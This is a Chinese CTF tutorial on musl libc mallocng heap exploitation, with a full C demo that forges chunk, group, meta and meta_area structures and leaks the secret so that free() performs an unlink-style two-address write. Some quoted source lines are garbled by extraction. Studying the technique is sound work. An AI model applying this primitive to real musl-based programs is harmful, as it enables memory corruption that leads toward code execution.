在上一篇文章中我们学习了musl libc中内存分配的相关知识,了解了重要的数据结构及函数内容。本文将在此基础上进一步分析musl pwn的利用方式。
musl libc利用的核心思想是向free中传入一个假的chunk指针。由于free函数会通过该chunk进行回溯,获取到其所在的group
和meta
,因此除了构造假chunk外,还需要构造假group
和假meta
。如果在假meta
中合理构造prev
和next
指针,在nontrivial_free
中调用dequeue
函数就可以实现这两个地址互相写。
但在整个流程中,我们需要绕过很多检查,以及进入正确的分支。
在free
中会调用nontrivial_free
,free
中调用的get_meta
函数中有一些检查项:
(/src/malloc/mallocng/meta.h, line 129)
static inline struct meta *get_meta(const unsigned char *p)
{assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset >0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index<= meta->last_idx);
assert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);
if (meta->sizeclass< 48) {assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset< size_classes[meta->sizeclass]*(index+1));
} else {assert(meta->sizeclass == 63);
}
if (meta->maplen) {assert(offset<= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}
如果伪造的meta
位于一个伪造的meta_area
中,需要首先获取校验值secret
并保存到meta_area
开头,即这一页最开始的地方。
通过这个函数的检查之后,nontrivial_free
的分支语句:
static struct mapinfo nontrivial_free(struct meta *g, int i)
{uint32_t self = 1u<sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<last_idx)-1 && okay_to_free(g)) {// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) { assert(sc< 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {assert(sc< 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) { queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){0 };
}
这里要求mask+self == (2u<
,因此要合理设置meta
的两个mask
的值。
之后调用了free_group
:
static struct mapinfo free_group(struct meta *g)
{struct mapinfo mi = {0 };
int sc = g->sizeclass;
if (sc< 48) {ctx.usage_by_class[sc] -= g->last_idx+1;
}
if (g->maplen) {step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen*4096UL;
} else {void *p = g->mem;
struct meta *m = get_meta(p);
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}
这里我们不能在if-else语句中跳转到else分支,那样会再一次调用nontrivial_free
,因此要保证meta
的maplen
字段不为0。
这些检查与条件判断通过后,就可以成功释放假chunk了。
下面就是musl libc unlink漏洞的demo程序,如有任何非预期情况请与笔者联系,不胜感激。
#include#include#include#include#includestruct meta {struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
unsigned long long last_idx:5;
unsigned long long freeable:1;
unsigned long long sizeclass:6;
unsigned long long maplen:8*8-12;
};
struct group {struct meta *meta;
unsigned char active_idx:5;
char pad[0x10 - sizeof(struct meta *) - 1];
unsigned char storage[];
};
struct meta_area {unsigned long long check;
struct meta_area *next;
int nslots;
struct meta slots[];
};
unsigned long long victim_1[0x8];
unsigned long long victim_2[0x8];
#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"
#define UNDEFINED "-"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"
#define STR_END "\033[0m"
void printf_color(char* color, char* effect, char* string){char buffer[0x1000] = {0};
strcpy(buffer, "\033[");
if(effect[0] != '-'){strcat(buffer, effect);
strcat(buffer, ";");
}
strcat(buffer, color);
strcat(buffer, "m");
strcat(buffer, string);
printf("%s" STR_END, buffer);
}
void print_binary(char* buf, int length){printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}
struct group* get_group(const unsigned char* chunk){int offset = *(const unsigned short *)(chunk - 2);
if (chunk[-4])
offset = *(unsigned int *)(chunk - 8);
struct group* group_addr = (void *)(chunk - 0x10*offset - 0x10);
return group_addr;
}
struct meta* get_meta(const unsigned char* chunk){struct group* group_addr = get_group(chunk);
struct meta* meta_addr = group_addr->meta;
return meta_addr;
}
struct meta_area* get_meta_area(const void* meta){return (struct meta_area*)((unsigned long long)meta & -4096);
}
int main(){printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc中的unlink操作。\n");
printf_color(GREEN, UNDEFINED, "测试环境:ubuntu 22.04,musl libc版本:1.2.2。\n");
printf_color(GREEN, UNDEFINED, "鉴于musl libc的轻量性,与其相关的利用方式也较为单一。\n");
printf_color(GREEN, UNDEFINED, "本程序所演示的unlink是最为常用的一种利用方式之一。\n");
printf_color(GREEN, UNDEFINED, "musl libc与glibc不同,在主程序的main函数开始执行时,内存分配器就已经完成了初始化。\n");
printf_color(GREEN, UNDEFINED, "请注意:在一个group中分配出来的chunk很可能在地址空间上不相邻。\n");
printf_color(GREEN, UNDEFINED, "因为一个group需要确保每个chunk都能够容纳该范围内大的chunk。\n");
printf_color(GREEN, UNDEFINED, "因此,调试便是musl libc赛题的重中之重。\n");
printf_color(GREEN, UNDEFINED, "下面是刚刚进入main函数时堆的情况:\n");
printf_color(PURPLE, HIGHLIGHT,
"pwndbg>mheap\n"
" secret : 0xd8e803bc461ae35a\n"
" mmap_counter : 0x0\n"
" avail_meta : 0x55555555a0e0 (count: 96)\n"
" free_meta : 0\n"
" avail_meta_area : 0x55555555b000 (count: 0)\n"
" meta_area_head : 0x55555555a000\n"
" meta_area_tail : 0x55555555a000\n"
" active[7] : 0x55555555a090 (mem: 0x555555558f40) ->0x55555555a0b8 (mem: 0x7ffff7ffef40) [0x80]\n"
" active[15] : 0x55555555a068 (mem: 0x555555558d40) [0x1f0]\n"
" active[19] : 0x55555555a040 (mem: 0x555555558940) [0x3f0]\n"
" active[23] : 0x55555555a018 (mem: 0x555555558140) [0x7f0]\n\n");
printf_color(GREEN, UNDEFINED, "可见已经有一些meta被链入到链表数组之中了。\n");
printf_color(GREEN, UNDEFINED, "但这对做题的影响并不大,通过多次调试,我们就能够让自己的chunk进入想要的meta。\n");
printf_color(GREEN, UNDEFINED, "接下来让我们尝试分配几个chunk。\n");
void* chunks[14];
for(int i=0; i<14; i++) {chunks[i] = malloc(0x140);
printf_color(GREEN, UNDEFINED, "第");
printf("\033[" GREEN "m%d\033[0m", i+1);
printf_color(GREEN, UNDEFINED, "次malloc返回的地址为:");
printf("\033[1;31m%p\n\033[0m", chunks[i]);
}
printf_color(GREEN, UNDEFINED, "\n接下来让我们用源码中给出的寻找chunk所在meta的方法回溯这些chunk所在的group和meta。\n");
struct group* groups[14];
struct meta* metas[14];
for(int i=0; i<14; i++){groups[i] = get_group(chunks[i]);
metas[i] = get_meta(chunks[i]);
}
for(int i=0; i<14; i++){printf_color(GREEN, UNDEFINED, "第");
printf("\033[" GREEN "m%d\033[0m", i+1);
printf_color(GREEN, UNDEFINED, "次malloc获得chunk的group地址和meta地址分别为:");
printf("\033[1;31m%p %p\n\033[0m", groups[i], metas[i]);
}
printf_color(GREEN, UNDEFINED, "通过nontrivial_free中的dequeue函数进行unlink,首先要通过get_meta函数的重重检查:\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/meta.h, line 129)\n");
printf_color(PURPLE, HIGHLIGHT,
"static inline struct meta *get_meta(const unsigned char *p)\n"
"{\n"
"\tassert(!((uintptr_t)p & 15));\n"
"\tint offset = *(const uint16_t *)(p - 2);\n"
"\tint index = get_slot_index(p);\n"
"\tif (p[-4]) {\n"
"\t\tassert(!offset);\n"
"\t\toffset = *(uint32_t *)(p - 8);\n"
"\t\tassert(offset >0xffff);\n"
"\t}\n"
"\tconst struct group *base = (const void *)(p - UNIT*offset - UNIT);\n"
"\tconst struct meta *meta = base->meta;\n"
"\tassert(meta->mem == base);\n"
"\tassert(index<= meta->last_idx);\n"
"\tassert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);\n"
"\tif (meta->sizeclass< 48) {\n"
"\t\tassert(offset >= size_classes[meta->sizeclass]*index);\n"
"\t\tassert(offset< size_classes[meta->sizeclass]*(index+1));\n"
"\t} else {\n"
"\t\tassert(meta->sizeclass == 63);\n"
"\t}\n"
"\tif (meta->maplen) {\n"
"\t\tassert(offset<= meta->maplen*4096UL/UNIT - 1);\n"
"\t}\n"
"\treturn (struct meta *)meta;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "下面我们逐一查看一下这些检查的具体内容。\n");
printf_color(YELLOW, HIGHLIGHT, "1. meta->mem == base,即meta中保存的group指针要正确。\n");
printf_color(YELLOW, HIGHLIGHT, "2. index<= meta->last_idx,即chunk的索引不能越界。\n");
printf_color(RED , HIGHLIGHT, "3. area->check == ctx.secret,即meta所在的meta_area的校验值正确。\n");
printf_color(YELLOW, HIGHLIGHT, "4. offset >= size_classes[meta->sizeclass]*index\n");
printf_color(YELLOW, HIGHLIGHT, "5. offset< size_classes[meta->sizeclass]*(index+1),这两个检查offset和chunk大小是否对应。\n");
printf_color(YELLOW, HIGHLIGHT, "6. assert(offset<= meta->maplen*4096UL/UNIT - 1);,即检查offset是否越界。\n");
printf_color(GREEN, UNDEFINED, "这些检查之中对我们最为重要的就是校验值的检查。\n");
printf_color(GREEN, UNDEFINED, "只有泄露出secret值,我们才能释放伪造meta_area中伪造meta的group的chunk。\n");
struct meta_area* area = get_meta_area(metas[0]);
printf_color(GREEN, UNDEFINED, "上面分配的所有meta均在同一个meta_area中,地址为:");
printf("\033[1;" YELLOW "m%p\n\033[0m", area);
printf_color(GREEN, UNDEFINED, "可以由此获取到secret的值为:");
printf("\033[1;" YELLOW "m%#llx\n\n\033[0m", area->check);
unsigned long long secret = area->check;
printf_color(GREEN, UNDEFINED, "接下来我们来伪造chunk以及其上的结构。\n");
void* mmap_space = mmap((void*)0xdeadbeef000, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);
struct meta_area* fake_meta_area = mmap_space;
fake_meta_area->check = secret;
struct meta* fake_meta = (struct meta*)((unsigned long long) mmap_space + 0x100);
fake_meta->maplen = 1;
fake_meta->sizeclass = 7; // group中保存的chunk大小,这里设置为0x80
fake_meta->last_idx = 4; // group中chunk的总数,这里设置为4表示chunk总数为5
fake_meta->freeable = 1; // 通过okay_to_free检查
struct group* fake_group = (struct group*)((unsigned long long) mmap_space + 0x1000);
fake_meta->mem = fake_group; // 通过检查1
fake_group->meta = fake_meta; // 使group能够找到meta
fake_meta->avail_mask = 0b11101;// 使nontrivial_free进入if循环,得以执行dequeue
char* fake_chunk = (char*)((unsigned long long) mmap_space + 0x1000 + 0x10 + 0x80);
*(unsigned short *)(fake_chunk - 2) = 8; // offset
*(unsigned char*)(fake_chunk - 3) = 1; // index
printf_color(GREEN, UNDEFINED, "绕过第1个检查,只需要设置meta中的group指针为假group指针即可。\n");
printf_color(GREEN, UNDEFINED, "第2个检查需要正确设置chunk的index值,本程序释放的是group中第2个chunk,因此索引为1。\n");
printf_color(GREEN, UNDEFINED, "注意索引值存放的位置,是chunk地址-3这个字节。\n");
printf_color(GREEN, UNDEFINED, "第3个检查需要我们提前泄露secret的值,并填写到meta_area中。\n");
printf_color(GREEN, UNDEFINED, "检查4和5只需要正确计算chunk的大小,填写chunk的索引值即可。\n");
printf_color(GREEN, UNDEFINED, "本程序尝试释放sizeclass=7的chunk,即chunk大小为0x80,因此第2个chunk的索引为0x80>>4=8。\n");
printf_color(GREEN, UNDEFINED, "索引值index保存在chunk的前面两个字节中,正确填入即可。\n");
printf_color(GREEN, UNDEFINED, "正确设置index后,检查6一般也是没有问题的。\n\n");
printf_color(GREEN, UNDEFINED, "在通过get_meta的检查后,还需要通过nontrivial_free中的if语句条件判断。\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 72)\n");
printf_color(PURPLE, HIGHLIGHT,
"static struct mapinfo nontrivial_free(struct meta *g, int i)\n"
"{\n"
"\tuint32_t self = 1u<sizeclass;\n"
"\tuint32_t mask = g->freed_mask | g->avail_mask;\n"
"\n"
"\t\033[1;31mif (mask+self == (2u<last_idx)-1 && okay_to_free(g))\033[1;" PURPLE "m {\n"
"\t\t// any multi-slot group is necessarily on an active list\n"
"\t\t// here, but single-slot groups might or might not be.\n"
"\t\tif (g->next) {\n"
"\t\t\tassert(sc< 48);\n"
"\t\t\tint activate_new = (ctx.active[sc]==g);\n"
"\t\t\tdequeue(&ctx.active[sc], g);\n"
"\t\t\tif (activate_new && ctx.active[sc])\n"
"\t\t\t\tactivate_group(ctx.active[sc]);\n"
"\t\t}\n"
"\t\treturn free_group(g);\n"
"\t} else if (!mask) {\n"
"\t\tassert(sc< 48);\n"
"\t\t// might still be active if there were no allocations\n"
"\t\t// after last available slot was taken.\n"
"\t\tif (ctx.active[sc] != g) {\n"
"\t\t\tqueue(&ctx.active[sc], g);\n"
"\t\t}\n"
"\t}\n"
"\ta_or(&g->freed_mask, self);\n"
"\treturn (struct mapinfo){ 0 };\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "只需要修改meta中的freeable字段为1即可通过该检查。\n");
printf_color(GREEN, UNDEFINED, "最后还需要在free_group中进入正确的else分支:\n\n");
printf_color(RED, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 14)\n");
printf_color(PURPLE, HIGHLIGHT,
"static struct mapinfo free_group(struct meta *g)\n"
"{\n"
"\tstruct mapinfo mi = { 0 };\n"
"\tint sc = g->sizeclass;\n"
"\tif (sc< 48) {\n"
"\t\tctx.usage_by_class[sc] -= g->last_idx+1;\n"
"\t}\n"
"\tif (g->maplen) {\n"
"\t\tstep_seq();\n"
"\t\trecord_seq(sc);\n"
"\t\tmi.base = g->mem;\n"
"\t\tmi.len = g->maplen*4096UL;\n"
"\t} else {\n"
"\t\tvoid *p = g->mem;\n"
"\t\tstruct meta *m = get_meta(p);\n"
"\t\tint idx = get_slot_index(p);\n"
"\t\tg->mem->meta = 0;\n"
"\t\t// not checking size/reserved here; it's intentionally invalid\n"
"\t\tmi = nontrivial_free(m, idx);\n"
"\t}\n"
"\tfree_meta(g);\n"
"\treturn mi;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "这需要我们设置meta->maplen为非零值,防止再次进入nontrivial_free。\n");
printf_color(GREEN, UNDEFINED, "这里的maplen就设置为group占用的页数量即可。\n");
printf_color(GREEN, UNDEFINED, "接下来我们向meta的两个链表指针写入事先准备好的地址。\n");
printf_color(GREEN, UNDEFINED, "meta->prev写入:");
printf("\033[1;" YELLOW "m%p\033[0m\n", victim_1);
printf_color(GREEN, UNDEFINED, "meta->next写入:");
printf("\033[1;" YELLOW "m%p\033[0m\n", victim_2);
fake_meta->prev = (struct meta*)victim_1;
fake_meta->next = (struct meta*)victim_2;
printf_color(GREEN, UNDEFINED, "下面调用free函数释放这个假chunk。\n\n");
free(fake_chunk);
printf_color(GREEN, UNDEFINED, "释放后,目标地址附近的值已经被成功修改:\n");
print_binary((char*)victim_1, 0x80);
return 0;
}
这证明使用一个假chunk修改两个地址的值是可行的,在free之后,chunk所在的页被释放了,这样就不会对接下来的进一步利用造成其他任何影响了。
为了利用unlink,我们需要构造很多东西,不能落下其中任何一个,在解题与学习时要特别注意。在下一篇文章中笔者将会分析unlink如何与FILE结构体配合,从而最终getshell。
你是否还在寻找稳定的海外服务器提供商?创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源,准确流量调度确保服务器高可用性,企业级服务器适合批量采购,新人活动首月15元起,快前往官网查看详情吧
标题名称:muslpwn入门(2)-创新互联
本文来源:https://www.cdcxhl.com/article24/hesje.html
成都网站建设公司_创新互联,为您提供ChatGPT、网站设计公司、小程序开发、外贸建站、动态网站、建站公司
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联